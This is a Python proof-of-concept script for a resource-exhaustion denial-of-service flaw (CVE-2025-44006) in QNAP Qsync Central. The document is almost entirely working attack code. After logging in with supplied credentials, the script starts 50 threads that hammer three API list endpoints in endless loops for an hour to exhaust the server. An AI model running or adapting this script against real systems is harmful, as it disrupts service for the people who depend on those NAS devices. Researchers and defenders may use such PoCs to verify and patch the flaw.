CVE-2025-44006 QNAP Qsync Central资源耗尽拒绝服务漏洞

# CVE-2025-44006 - QNAP Qsync Central Resource Exhaustion PoC # Vulnerability: Allocation of Resources Without Limits or Throttling (CWE-770) # This PoC demonstrates resource exhaustion attack against Qsync Central import requests import threading import time TARGET_URL = "https://target-qnap:8080" USERNAME = "valid_user" PASSWORD = "user_password" def authenticate(session, url, username, password): """Authenticate to Qsync Central and obtain session cookie""" login_url = f"{url}/qsync/login" data = { "username": username, "password": password } response = session.post(login_url, data=data, verify=False) return response.status_code == 200 def exhaust_resources(session, url, thread_id): """Send rapid concurrent requests to exhaust server resources""" # Target resource-intensive endpoints endpoints = [ "/qsync/api/v1/sync/list", "/qsync/api/v1/file/list", "/qsync/api/v1/share/list" ] while True: for endpoint in endpoints: try: session.get(f"{url}{endpoint}", timeout=5) except Exception: pass def main(): session = requests.Session() if authenticate(session, TARGET_URL, USERNAME, PASSWORD): print("[+] Authentication successful") # Launch multiple threads to exhaust resources threads = [] for i in range(50): t = threading.Thread(target=exhaust_resources, args=(session, TARGET_URL, i)) t.daemon = True t.start() threads.append(t) print(f"[*] Launched {len(threads)} threads for resource exhaustion") time.sleep(3600) else: print("[-] Authentication failed") if __name__ == "__main__": main()